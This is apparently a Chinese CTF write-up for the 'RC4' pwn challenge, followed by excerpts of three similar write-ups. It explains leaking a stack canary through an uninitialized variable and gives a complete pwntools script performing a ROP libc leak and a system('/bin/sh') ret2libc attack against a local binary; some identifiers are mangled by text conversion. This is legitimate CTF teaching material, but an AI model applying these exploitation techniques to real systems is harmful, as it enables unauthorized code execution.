攻防世界PWN之RC4題解

2021-10-02 14:46:21 字數 2328 閱讀 8274

首先,檢查一下程式的保護機制

然後,我們用ida分析一下,存在棧溢位漏洞

由於開啟了canary,因此,我們需要洩露canary,由於低位覆蓋洩露出來的資訊是加密的,解密可能比較麻煩,我們另選其他方法。功能a裡有乙個不起眼的漏洞

後面,輸出了v7的內容

然而,v6和v7僅僅在dword_6020cc = 0時被初始化,如果它們未初始化,其值會是什麼?

如果

v7未初始化,其值就是

canary的值。

因此,我們就用這種方法來洩露canary,然後就是正常的棧溢位操作

#coding:utf8

from pwn import *

from libcsearcher import *

sh = process('./rc4')

#sh = remote('111.198.29.45',31957)

elf = elf('./rc4')

puts_plt = elf.plt['puts']

puts_got = elf.got['puts']

main_addr = 0x4010bb

pop_rdi = 0x401283

def generate_key(c):

sh.sendlineafter('>','a')

sh.sendlineafter('>',c)

def do_encode(content):

sh.sendlineafter('>','b')

sh.sendline(content)

def exit():

sh.sendlineafter('>','d')

sh.sendline()

generate_key('b')

generate_key('d')

data = sh.recvuntil('\n')[16:]

length = len(data)

canary = ''

for i in range(length-1,-1,-2):

canary += data[i-2:i]

canary = int(canary,16)

print 'canary=',hex(canary)

payload = 'a'*0x108 + p64(canary) + p64(0) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)

do_encode(payload)

exit()

sh.recvuntil('> ')

#洩露puts的位址

puts_addr = u64(sh.recvuntil('\n',drop = true).ljust(8,'\x00'))

libc = libcsearcher('puts',puts_addr)

libc_base = puts_addr - libc.dump('puts')

system_addr = libc_base + libc.dump('system')

binsh_addr = libc_base + libc.dump('str_bin_sh')

print 'libc_base=',hex(libc_base)

payload = 'a'*0x108 + p64(canary) + p64(0) + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)

do_encode(payload)

exit()

sh.interactive()

攻防世界PWN之Welpwn題解

首先用ida檢視 發現主函式不能棧溢位,我們看看echo這個函式 echo會把主函式輸入的字串複製到區域性的s2裡,並且s2只有16位元組,可以造成溢位。echo函式先迴圈複製字元到s2,如果遇到0,就結束複製,然後輸出s2。因此,我們如果想直接覆蓋函式返回位址,那麼我們的目標函式必須沒有引數,否則...

攻防世界PWN之dubblesort題解

首先看一下程式的保護機制 保護全開,並且是乙個32位程式 然後,我們用ida分析一下 這裡,有兩個漏洞 第乙個是在呼叫read之前,沒有呼叫memset對 buf清空,因此,buf裡可能之前會有一些殘留的關鍵資料 第二個是,輸入的整數個數沒有上限,可以造成資料溢位,其實也就是棧溢位。我們在read斷...

攻防世界PWN之Nobug題解

首先,檢查一下程式的保護機制 pie和nx沒開,那麼,我們可以輕鬆的布置shellcode到棧裡或bss段或堆裡,然後跳轉。免去了洩露libc位址這些。然後,我們用ida分析一下 看似好像這裡sprintf不存在漏洞,我們再看看其他函式 看見乙個很複雜的函式,我們看看那個位址處是什麼 是查表法,看起...